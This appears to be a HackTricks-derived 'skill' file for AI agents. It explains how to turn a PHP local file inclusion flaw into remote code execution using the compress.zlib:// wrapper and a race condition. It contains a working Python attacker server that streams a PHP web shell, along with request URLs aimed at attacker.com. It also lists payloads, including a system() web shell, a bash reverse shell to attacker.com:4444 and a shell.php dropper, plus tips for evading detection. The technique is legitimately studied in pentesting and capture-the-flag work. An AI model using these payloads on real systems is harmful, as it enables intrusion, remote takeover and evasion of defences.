Hacktricks-skills lfi2rce-compress-zlib

Exploit LFI to RCE using compress.zlib:// protocol with PHP_STREAM_PREFER_STDIO race condition. Use this skill whenever you need to escalate a Local File Inclusion vulnerability to Remote Code Execution, especially when the target has security checks that block PHP tags like <?. Trigger this when you discover LFI vulnerabilities, need to bypass file content filters, or are working on CTF challenges involving PHP file inclusion attacks. Also use when you have path disclosure capabilities and need to leverage race conditions for exploitation.

install
source · Clone the upstream repo
git clone https://github.com/abelrguezr/hacktricks-skills
manifest: skills/pentesting-web/file-inclusion/lfi2rce-via-compress.zlib-+-php_stream_prefer_studio-+-path-disclosure/SKILL.MD
source content

LFI2RCE via compress.zlib:// + PHP_STREAM_PREFER_STDIO + Race Condition

Overview

This skill covers a sophisticated exploitation technique that converts Local File Inclusion (LFI) vulnerabilities into Remote Code Execution (RCE) by abusing PHP's

compress.zlib://
stream wrapper combined with a race condition.

When to Use This Technique

  • You have an LFI vulnerability but direct PHP file upload is blocked
  • The target filters out
    <?
    tags in file content
  • You can control a remote server to serve files to the victim
  • You have path disclosure capabilities (can see temp file paths)
  • The target uses PHP with
    PHP_STREAM_PREFER_STDIO
    flag enabled

Vulnerability Mechanics

The Core Concept

When PHP opens a file using

compress.zlib://
protocol with
PHP_STREAM_PREFER_STDIO
flag:

  1. PHP creates a temporary file to store the remote content
  2. The connection to the remote server stays open
  3. Data sent later through the connection continues writing to the same temp file
  4. This creates a race condition window for exploitation

The Race Condition

[Attacker Server]                    [Victim Server]
      |                                   |
      |--- HTTP Request (LFI) ----------->|
      |                                   | Creates temp file
      |                                   | Checks for <? tags
      |<-- HTTP Response (safe content) --|
      |                                   | Security check passes
      |                                   |
      |--- Send PHP payload ------------->| (connection still open)
      |                                   | Payload written to temp file
      |                                   |
      |                                   | Includes temp file
      |                                   | RCE achieved!

Prerequisites

  1. LFI Vulnerability: Target must have a file inclusion vulnerability
  2. Path Disclosure: Ability to discover the temporary file path (via error messages, logs, or other disclosure methods)
  3. Remote Server Control: You need a server to serve files to the victim
  4. Timing: The race condition window is typically milliseconds

Step-by-Step Exploitation

Step 1: Set Up Your Attacker Server

Create a server that can:

  • Serve initial safe content
  • Keep the connection open
  • Send PHP payload after a delay
#!/usr/bin/env python3
# scripts/lfi2rce-exploit.py
import http.server
import socketserver
import threading
import time
import sys

class LFI2RCEHandler(http.server.BaseHTTPRequestHandler):
    def do_GET(self):
        # Initial safe response
        self.send_response(200)
        self.send_header('Content-type', 'text/plain')
        self.send_header('Connection', 'keep-alive')
        self.end_headers()
        self.wfile.write(b'Safe initial content')
        
        # Keep connection open and send payload after delay
        time.sleep(0.5)  # Adjust timing based on target
        self.wfile.write(b'<?php system($_GET["cmd"]); ?>')
        self.wfile.flush()
        
        # Close connection
        self.connection.close()
    
    def log_message(self, format, *args):
        pass  # Suppress logging

if __name__ == '__main__':
    PORT = int(sys.argv[1]) if len(sys.argv) > 1 else 8080
    with socketserver.TCPServer(("", PORT), LFI2RCEHandler) as httpd:
        print(f"[*] LFI2RCE server on port {PORT}")
        httpd.serve_forever()

Step 2: Trigger the LFI

Send a request to the vulnerable endpoint:

http://victim.com/vuln.php?file=compress.zlib://http://attacker.com:8080/payload

Step 3: Discover the Temp File Path

Use path disclosure techniques:

  • Check error messages
  • Look at application logs
  • Use other LFI to read
    /proc/self/environ
    or similar
  • Exploit information disclosure vulnerabilities

Common temp file locations:

  • /tmp/phpXXXXXX
  • /var/tmp/phpXXXXXX
  • C:\Windows\Temp\phpXXXXXX

Step 4: Exploit the Race Condition

Once you have the temp file path, include it:

http://victim.com/vuln.php?file=/tmp/phpXXXXXX?cmd=id

Step 5: Verify RCE

Check if the command executed:

  • Look for output in the response
  • Check for side effects (file creation, network connections)
  • Use blind techniques if output is filtered

Example Payloads

Basic Command Execution

<?php system($_GET["cmd"]); ?>

Reverse Shell

<?php system("bash -i >& /dev/tcp/attacker.com/4444 0>&1"); ?>

File Upload

<?php file_put_contents('/var/www/html/shell.php', '<?php system($_GET["cmd"]); ?>'); ?>

Timing Considerations

The race condition window is critical. Adjust timing based on:

  1. Network latency: Higher latency = longer delay needed
  2. Server load: Busy servers may have longer processing times
  3. Security check complexity: More checks = longer window

Use automated timing adjustment:

for delay in [0.1, 0.3, 0.5, 0.7, 1.0]:
    # Try with different delays
    pass

Detection Evasion

Bypass Content Filters

If the target filters specific characters:

  • Use alternative PHP tags:
    <?=
    or
    <?php
    (if not filtered)
  • Use encoded payloads:
    base64_decode()
    ,
    eval()
  • Use null bytes:
    <?php%00
    (if PHP version allows)

Avoid Signature Detection

  • Randomize payload encoding
  • Use obfuscation techniques
  • Split payload across multiple requests

Common Pitfalls

  1. Timing too fast: Payload sent before security check completes
  2. Timing too slow: Connection closed before payload arrives
  3. Wrong temp file: Path disclosure gives wrong file
  4. Connection closed: Server closes connection prematurely
  5. PHP version: Some PHP versions don't support this technique

Verification Checklist

Before attempting exploitation:

  • LFI vulnerability confirmed
  • Path disclosure method identified
  • Attacker server ready and accessible from victim
  • Timing parameters tested
  • Authorization obtained (for authorized testing only)

Legal and Ethical Considerations

IMPORTANT: This technique should only be used:

  • In authorized penetration testing engagements
  • On systems you own or have explicit permission to test
  • In CTF competitions and educational environments
  • Never on production systems without authorization

Unauthorized exploitation of this vulnerability is illegal and can result in criminal charges.

References

Related Techniques

  • Standard LFI exploitation
  • PHP filter wrappers (
    php://filter
    )
  • Race condition exploitation in other contexts
  • Path traversal attacks